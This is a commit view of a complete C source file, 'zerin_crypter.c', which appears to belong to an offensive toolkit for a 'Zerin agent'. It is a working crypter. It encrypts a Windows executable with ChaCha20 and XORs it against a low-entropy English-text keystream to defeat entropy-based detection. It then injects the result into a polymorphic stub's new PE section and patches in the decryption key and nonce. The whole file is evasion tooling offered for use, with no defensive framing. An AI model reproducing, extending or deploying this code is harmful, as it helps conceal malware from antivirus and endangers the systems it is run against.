initial commit

This commit is contained in:
i2p
2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
+592
View File
@@ -0,0 +1,592 @@
/*
* zerin_crypter.c - Binary-patching crypter for Zerin agent
*
* Encrypts a PE payload and injects it into a pre-compiled stub via
* PE section injection. No GCC needed at crypt-time.
*
* Process:
* 1. Read input PE, encrypt with random ChaCha20 key
* 2. Apply entropy flattening (XOR with English-text keystream)
* 3. Read pre-compiled zerin_stub.exe
* 4. Inject payload section (name from stub_poly_config.h)
* 5. Patch config section with key, nonce, payload RVA, size
* 6. Write output .exe
*
* Usage:
* zerin_crypter.exe <input.exe> <output.exe>
* zerin_crypter.exe --stub path/to/zerin_stub.exe <input.exe> <output.exe>
*
* Compile:
* gcc -std=gnu11 -O2 -s -I<outdir> zerin_crypter.c -lbcrypt -o zerin_crypter.exe
* (outdir must contain stub_poly_config.h from generate_poly_stub.py)
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
/* Per-build polymorphic config (shared with stub template) */
#include "stub_poly_config.h"
#ifdef _WIN32
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt")
#else
/* ── Minimal PE structure definitions for Linux cross-build ────────── */
#pragma pack(push, 1)
typedef uint8_t BYTE;
typedef uint16_t WORD;
typedef uint32_t DWORD;
typedef int32_t LONG;
typedef uint64_t ULONGLONG;
typedef uint32_t ULONG;
typedef int32_t NTSTATUS;
typedef unsigned char *PUCHAR;
#define MAX_PATH 260
#define IMAGE_NT_SIGNATURE 0x00004550
#define IMAGE_SCN_MEM_READ 0x40000000
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040
typedef struct {
WORD e_magic; WORD e_cblp; WORD e_cp; WORD e_crlc;
WORD e_cparhdr; WORD e_minalloc; WORD e_maxalloc;
WORD e_ss; WORD e_sp; WORD e_csum; WORD e_ip; WORD e_cs;
WORD e_lfarlc; WORD e_ovno; WORD e_res[4];
WORD e_oemid; WORD e_oeminfo; WORD e_res2[10];
LONG e_lfanew;
} IMAGE_DOS_HEADER;
typedef struct {
WORD Machine; WORD NumberOfSections;
DWORD TimeDateStamp; DWORD PointerToSymbolTable;
DWORD NumberOfSymbols; WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER;
/* PE32+ (64-bit) optional header */
typedef struct {
WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion;
DWORD SizeOfCode; DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment; DWORD FileAlignment;
WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion;
WORD MajorImageVersion; WORD MinorImageVersion;
WORD MajorSubsystemVersion; WORD MinorSubsystemVersion;
DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders;
DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags; DWORD NumberOfRvaAndSizes;
} IMAGE_OPTIONAL_HEADER;
typedef struct {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS;
typedef struct {
BYTE Name[8];
union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc;
DWORD VirtualAddress; DWORD SizeOfRawData;
DWORD PointerToRawData; DWORD PointerToRelocations;
DWORD PointerToLinenumbers; WORD NumberOfRelocations;
WORD NumberOfLinenumbers; DWORD Characteristics;
} IMAGE_SECTION_HEADER;
#define IMAGE_FIRST_SECTION(nt) \
((IMAGE_SECTION_HEADER *)((uint8_t *)&(nt)->OptionalHeader + \
(nt)->FileHeader.SizeOfOptionalHeader))
#pragma pack(pop)
#endif
/* ======================================================================
* ChaCha20 (RFC 8439)
* ====================================================================== */
#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))
#define QR(a, b, c, d) do { \
a += b; d ^= a; d = ROTL32(d, 16); \
c += d; b ^= c; b = ROTL32(b, 12); \
a += b; d ^= a; d = ROTL32(d, 8); \
c += d; b ^= c; b = ROTL32(b, 7); \
} while(0)
static uint32_t load_le32(const uint8_t *p) {
return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |
((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
}
static void chacha20_encrypt(const uint8_t key[32], const uint8_t nonce[12],
const uint8_t *in, uint8_t *out, size_t len) {
uint32_t state[16];
CHACHA_INIT_STATE(state);
for (int i = 0; i < 8; i++)
state[4 + i] = load_le32(key + i * 4);
state[12] = 0;
state[13] = load_le32(nonce);
state[14] = load_le32(nonce + 4);
state[15] = load_le32(nonce + 8);
size_t offset = 0;
while (offset < len) {
uint32_t x[16];
memcpy(x, state, 64);
for (int i = 0; i < 10; i++) {
QR(x[0], x[4], x[ 8], x[12]);
QR(x[1], x[5], x[ 9], x[13]);
QR(x[2], x[6], x[10], x[14]);
QR(x[3], x[7], x[11], x[15]);
QR(x[0], x[5], x[10], x[15]);
QR(x[1], x[6], x[11], x[12]);
QR(x[2], x[7], x[ 8], x[13]);
QR(x[3], x[4], x[ 9], x[14]);
}
uint8_t block[64];
for (int i = 0; i < 16; i++) {
uint32_t val = x[i] + state[i];
block[i*4+0] = (uint8_t)(val);
block[i*4+1] = (uint8_t)(val >> 8);
block[i*4+2] = (uint8_t)(val >> 16);
block[i*4+3] = (uint8_t)(val >> 24);
}
state[12]++;
size_t chunk = len - offset;
if (chunk > 64) chunk = 64;
for (size_t i = 0; i < chunk; i++)
out[offset + i] = in[offset + i] ^ block[i];
offset += chunk;
}
}
static int random_bytes(uint8_t *buf, size_t len) {
#ifdef _WIN32
NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len,
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
return (status >= 0) ? 0 : -1;
#else
FILE *f = fopen("/dev/urandom", "rb");
if (!f) return -1;
size_t r = fread(buf, 1, len, f);
fclose(f);
return (r == len) ? 0 : -1;
#endif
}
/* ======================================================================
* Entropy-flattening keystream (deterministic from seed, must match stub)
* ====================================================================== */
#define ENTROPY_PAD_SIZE 4096
/* Per-build shuffled charset + LCG params from stub_poly_config.h */
static void generate_entropy_pad(uint32_t seed, uint8_t *pad, size_t pad_size) {
uint32_t state = seed;
size_t charset_len = STUB_ENTROPY_CHARSET_LEN;
for (size_t i = 0; i < pad_size; i++) {
state = state * STUB_LCG_MULT + STUB_LCG_INC;
pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];
}
}
/* ======================================================================
* STUB_CONFIG structure (must match stub's config section layout)
* ====================================================================== */
/* STUB_CONFIG_MAGIC comes from stub_poly_config.h */
#pragma pack(push, 1)
typedef struct {
uint32_t magic;
uint32_t payload_rva;
uint32_t payload_size;
uint8_t key[32];
uint8_t nonce[12];
uint32_t entropy_seed;
} STUB_CONFIG;
#pragma pack(pop)
/* ======================================================================
* PE helper: align value up
* ====================================================================== */
static uint32_t align_up(uint32_t value, uint32_t alignment) {
if (alignment == 0) return value;
return (value + alignment - 1) & ~(alignment - 1);
}
/* ======================================================================
* Find stub exe relative to this exe
* ====================================================================== */
static int find_stub(char *out, size_t out_size) {
FILE *f;
#ifdef _WIN32
char exe_path[MAX_PATH];
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
/* Try same directory as exe */
char *last_sep = strrchr(exe_path, '\\');
if (!last_sep) last_sep = strrchr(exe_path, '/');
if (last_sep) {
*last_sep = '\0';
snprintf(out, out_size, "%s\\zerin_stub.exe", exe_path);
f = fopen(out, "rb");
if (f) { fclose(f); return 0; }
}
#endif
/* Try current directory */
snprintf(out, out_size, "zerin_stub.exe");
f = fopen(out, "rb");
if (f) { fclose(f); return 0; }
return -1;
}
/* ======================================================================
* Read entire file into malloc'd buffer
* ====================================================================== */
static uint8_t *read_file(const char *path, size_t *out_size) {
FILE *f = fopen(path, "rb");
if (!f) return NULL;
fseek(f, 0, SEEK_END);
long sz = ftell(f);
fseek(f, 0, SEEK_SET);
if (sz <= 0 || sz > 200 * 1024 * 1024) { fclose(f); return NULL; }
uint8_t *buf = (uint8_t *)malloc((size_t)sz);
if (!buf) { fclose(f); return NULL; }
if (fread(buf, 1, (size_t)sz, f) != (size_t)sz) {
free(buf);
fclose(f);
return NULL;
}
fclose(f);
*out_size = (size_t)sz;
return buf;
}
/* ======================================================================
* Main: Binary-patching crypter
* ====================================================================== */
int main(int argc, char *argv[]) {
const char *stub_path = NULL;
const char *input_path = NULL;
const char *output_path = NULL;
/* Parse args */
int i = 1;
while (i < argc) {
if (strcmp(argv[i], "--stub") == 0 && i + 1 < argc) {
stub_path = argv[++i];
} else if (strcmp(argv[i], "--gcc") == 0 && i + 1 < argc) {
/* Legacy flag — ignored (no longer needed) */
fprintf(stderr, "NOTE: --gcc flag is deprecated (no longer needed)\n");
i++;
} else if (!input_path) {
input_path = argv[i];
} else if (!output_path) {
output_path = argv[i];
}
i++;
}
if (!input_path || !output_path) {
fprintf(stderr, "Usage: %s [--stub <stub.exe>] <input.exe> <output.exe>\n", argv[0]);
return 1;
}
/* ----------------------------------------------------------------
* Step 1: Read input PE
* ---------------------------------------------------------------- */
size_t pe_size;
uint8_t *pe_data = read_file(input_path, &pe_size);
if (!pe_data) {
fprintf(stderr, "ERROR: Cannot read: %s\n", input_path);
return 1;
}
if (pe_size < 64 || pe_data[0] != 'M' || pe_data[1] != 'Z') {
fprintf(stderr, "ERROR: Not a valid PE: %s\n", input_path);
free(pe_data);
return 1;
}
printf("Input PE: %s (%zu bytes)\n", input_path, pe_size);
/* ----------------------------------------------------------------
* Step 2: Generate random key + nonce, encrypt with ChaCha20
* ---------------------------------------------------------------- */
uint8_t key[32], nonce[12];
if (random_bytes(key, 32) != 0 || random_bytes(nonce, 12) != 0) {
fprintf(stderr, "ERROR: Failed to generate random key\n");
free(pe_data);
return 1;
}
uint8_t *encrypted = (uint8_t *)malloc(pe_size);
if (!encrypted) { free(pe_data); return 1; }
chacha20_encrypt(key, nonce, pe_data, encrypted, pe_size);
free(pe_data);
/* ----------------------------------------------------------------
* Step 3: Generate random entropy seed and derive pad, then flatten
* ---------------------------------------------------------------- */
uint32_t entropy_seed;
if (random_bytes((uint8_t *)&entropy_seed, 4) != 0) {
fprintf(stderr, "ERROR: Failed to generate entropy seed\n");
free(encrypted);
return 1;
}
uint8_t *entropy_pad = (uint8_t *)malloc(ENTROPY_PAD_SIZE);
if (!entropy_pad) { free(encrypted); return 1; }
generate_entropy_pad(entropy_seed, entropy_pad, ENTROPY_PAD_SIZE);
uint8_t *flattened = (uint8_t *)malloc(pe_size);
if (!flattened) { free(entropy_pad); free(encrypted); return 1; }
for (size_t j = 0; j < pe_size; j++) {
flattened[j] = encrypted[j] ^ entropy_pad[j % ENTROPY_PAD_SIZE];
}
free(encrypted);
free(entropy_pad);
printf("Encrypted + entropy-flattened payload: %zu bytes (seed=0x%08X)\n", pe_size, entropy_seed);
/* ----------------------------------------------------------------
* Step 4: Read pre-compiled stub
* ---------------------------------------------------------------- */
char stub_resolved[512];
if (!stub_path) {
if (find_stub(stub_resolved, sizeof(stub_resolved)) != 0) {
fprintf(stderr, "ERROR: Cannot find zerin_stub.exe\n");
fprintf(stderr, " Build it first: gcc ... zerin_stub_template.c -o zerin_stub.exe\n");
fprintf(stderr, " Or specify: --stub path/to/zerin_stub.exe\n");
free(flattened);
return 1;
}
stub_path = stub_resolved;
}
size_t stub_size;
uint8_t *stub_data = read_file(stub_path, &stub_size);
if (!stub_data) {
fprintf(stderr, "ERROR: Cannot read stub: %s\n", stub_path);
free(flattened);
return 1;
}
if (stub_size < 64 || stub_data[0] != 'M' || stub_data[1] != 'Z') {
fprintf(stderr, "ERROR: Stub is not a valid PE: %s\n", stub_path);
free(stub_data);
free(flattened);
return 1;
}
printf("Stub PE: %s (%zu bytes)\n", stub_path, stub_size);
/* ----------------------------------------------------------------
* Step 5: Parse stub PE headers
* ---------------------------------------------------------------- */
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)stub_data;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(stub_data + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
fprintf(stderr, "ERROR: Stub has invalid NT signature\n");
free(stub_data); free(flattened);
return 1;
}
IMAGE_OPTIONAL_HEADER *opt = &nt->OptionalHeader;
IMAGE_SECTION_HEADER *sections = IMAGE_FIRST_SECTION(nt);
WORD numSections = nt->FileHeader.NumberOfSections;
uint32_t sectionAlignment = opt->SectionAlignment;
uint32_t fileAlignment = opt->FileAlignment;
/* Check there's room for one more section header */
uint32_t headerEnd = (uint32_t)((uint8_t *)&sections[numSections] - stub_data) +
(uint32_t)sizeof(IMAGE_SECTION_HEADER);
if (headerEnd > opt->SizeOfHeaders) {
fprintf(stderr, "ERROR: No room for new section header in stub PE\n");
fprintf(stderr, " Headers end at 0x%X, SizeOfHeaders = 0x%X\n",
headerEnd, opt->SizeOfHeaders);
free(stub_data); free(flattened);
return 1;
}
/* ----------------------------------------------------------------
* Step 6: Find config section and locate magic marker
* ---------------------------------------------------------------- */
IMAGE_SECTION_HEADER *cfgSection = NULL;
for (WORD s = 0; s < numSections; s++) {
if (memcmp(sections[s].Name, STUB_CFG_SECTION, strlen(STUB_CFG_SECTION)) == 0) {
cfgSection = &sections[s];
break;
}
}
if (!cfgSection) {
fprintf(stderr, "ERROR: config section '%s' not found in stub\n", STUB_CFG_SECTION);
free(stub_data); free(flattened);
return 1;
}
/* Find magic within config section */
uint32_t cfgFileOffset = cfgSection->PointerToRawData;
uint32_t cfgRawSize = cfgSection->SizeOfRawData;
STUB_CONFIG *config = NULL;
for (uint32_t off = 0; off + sizeof(STUB_CONFIG) <= cfgRawSize; off += 4) {
uint32_t *ptr = (uint32_t *)(stub_data + cfgFileOffset + off);
if (*ptr == STUB_CONFIG_MAGIC) {
config = (STUB_CONFIG *)(stub_data + cfgFileOffset + off);
break;
}
}
if (!config) {
fprintf(stderr, "ERROR: magic (0x%08X) not found in '%s' section\n",
STUB_CONFIG_MAGIC, STUB_CFG_SECTION);
free(stub_data); free(flattened);
return 1;
}
printf("Found config at file offset 0x%lX\n",
(unsigned long)((uint8_t *)config - stub_data));
/* ----------------------------------------------------------------
* Step 7: Calculate payload section placement
* ---------------------------------------------------------------- */
/* Find the last section to determine where payload goes */
IMAGE_SECTION_HEADER *lastSection = &sections[numSections - 1];
uint32_t lastSectionEndVA = lastSection->VirtualAddress +
align_up(lastSection->Misc.VirtualSize ?
lastSection->Misc.VirtualSize :
lastSection->SizeOfRawData,
sectionAlignment);
uint32_t lastSectionEndFile = lastSection->PointerToRawData +
lastSection->SizeOfRawData;
/* New payload section */
uint32_t d1VA = align_up(lastSectionEndVA, sectionAlignment);
uint32_t d1RawOffset = align_up(lastSectionEndFile, fileAlignment);
uint32_t d1RawSize = align_up((uint32_t)pe_size, fileAlignment);
uint32_t d1VirtualSize = (uint32_t)pe_size;
printf("'%s' section: VA=0x%X, FileOffset=0x%X, Size=%u\n",
STUB_PAY_SECTION, d1VA, d1RawOffset, d1RawSize);
/* ----------------------------------------------------------------
* Step 8: Build output PE
* ---------------------------------------------------------------- */
/* Total output size = raw offset of payload section + raw size of payload section */
size_t output_size = d1RawOffset + d1RawSize;
uint8_t *output = (uint8_t *)calloc(1, output_size);
if (!output) {
fprintf(stderr, "ERROR: Failed to allocate output buffer (%zu bytes)\n", output_size);
free(stub_data); free(flattened);
return 1;
}
/* Copy entire stub */
memcpy(output, stub_data, stub_size);
/* Zero-fill any gap between end of stub and start of payload section */
/* (already zeroed by calloc) */
/* Copy flattened payload at payload section raw offset */
memcpy(output + d1RawOffset, flattened, pe_size);
/* Update PE headers in output */
IMAGE_DOS_HEADER *out_dos = (IMAGE_DOS_HEADER *)output;
IMAGE_NT_HEADERS *out_nt = (IMAGE_NT_HEADERS *)(output + out_dos->e_lfanew);
IMAGE_OPTIONAL_HEADER *out_opt = &out_nt->OptionalHeader;
IMAGE_SECTION_HEADER *out_sections = IMAGE_FIRST_SECTION(out_nt);
/* Add payload section header */
IMAGE_SECTION_HEADER *d1Section = &out_sections[numSections];
memset(d1Section, 0, sizeof(IMAGE_SECTION_HEADER));
{
size_t nameLen = strlen(STUB_PAY_SECTION);
if (nameLen > 8) nameLen = 8;
memcpy(d1Section->Name, STUB_PAY_SECTION, nameLen);
}
d1Section->Misc.VirtualSize = d1VirtualSize;
d1Section->VirtualAddress = d1VA;
d1Section->SizeOfRawData = d1RawSize;
d1Section->PointerToRawData = d1RawOffset;
d1Section->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA;
/* Increment NumberOfSections */
out_nt->FileHeader.NumberOfSections = numSections + 1;
/* Update SizeOfImage */
out_opt->SizeOfImage = align_up(d1VA + d1VirtualSize, sectionAlignment);
/* ----------------------------------------------------------------
* Step 9: Patch config section with key, nonce, payload RVA, size
* ---------------------------------------------------------------- */
/* Find config in output buffer (same offset as in stub_data) */
size_t configOffset = (uint8_t *)config - stub_data;
STUB_CONFIG *out_config = (STUB_CONFIG *)(output + configOffset);
out_config->payload_rva = d1VA;
out_config->payload_size = (uint32_t)pe_size;
memcpy(out_config->key, key, 32);
memcpy(out_config->nonce, nonce, 12);
out_config->entropy_seed = entropy_seed;
printf("Config patched: RVA=0x%X, size=%u, entropy_seed=0x%08X\n", d1VA, (uint32_t)pe_size, entropy_seed);
/* ----------------------------------------------------------------
* Step 10: Write output file
* ---------------------------------------------------------------- */
FILE *fout = fopen(output_path, "wb");
if (!fout) {
fprintf(stderr, "ERROR: Cannot create output: %s\n", output_path);
free(output); free(stub_data); free(flattened);
return 1;
}
if (fwrite(output, 1, output_size, fout) != output_size) {
fprintf(stderr, "ERROR: Write failed\n");
fclose(fout);
free(output); free(stub_data); free(flattened);
return 1;
}
fclose(fout);
/* Clear sensitive data */
memset(key, 0, sizeof(key));
memset(nonce, 0, sizeof(nonce));
printf("\nCrypted: %s -> %s\n", input_path, output_path);
printf(" Stub: %zu bytes\n", stub_size);
printf(" Payload: %zu bytes (encrypted + entropy-flattened)\n", pe_size);
printf(" Output: %zu bytes\n", output_size);
free(output);
free(stub_data);
free(flattened);
return 0;
}